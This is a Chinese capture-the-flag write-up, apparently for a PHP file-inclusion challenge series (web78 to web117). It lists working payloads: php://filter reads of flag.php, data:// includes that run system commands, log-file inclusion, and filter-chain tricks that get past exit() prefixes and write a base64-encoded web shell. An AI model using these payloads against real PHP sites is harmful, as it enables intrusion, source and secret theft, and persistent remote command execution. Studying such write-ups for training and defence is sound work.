web78(php://filter)
1 | if(isset($_GET['file'])){ |
payload
利用php://filter
协议
1 | ?file=php://filter/convert.base64-encode/resource=flag.php |
web79(data)
1 | if(isset($_GET['file'])){ |
payload
这里上一题的方法可以用大小写绕过;但是也可以借助data
协议:include配合data导致的命令执行
;
1 | ?file=data://text/plain,<?pHp system('cat flag*'); |
web80-81(log_file)
包含日志文件,
1 | ?file=/var/log/nginx/access.log |
注意日志文件权限一般为:
1 | ls -al /var/log/nginx/access.log |
web82-86(session)
可以看我这篇博客
web87(php://fiter死亡绕过)
1 | if(isset($_GET['file'])){ |
利用base64 4位密文为一个明文的特性
1 | php://filter/write=convert.base64-decode/resource=1.php |
1 | GET:?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30 |
1 | POST: content=aaPD9waHAgc3lzdGVtKCRfUE9TVFsxXSk7Pz4= |
利用string.rot13过滤器
构造:
1 | php://filter/write=string.rot13/resource=2.php |
web88(data)
1 | if(isset($_GET['file'])){ |
发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =
实际上就是去掉base64后的=,作为填充使用,不影响结果
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4 |
web116(misc)
保存视频,用winhex打开发现包含png图片,分离出来,可以看到源码
payload,需要抓包,misc,没意思
1 | ?file=flag.php |
web117(file_pust_content死亡绕过)
1 | highlight_file(__FILE__); |
payload
通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)
1 | file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php |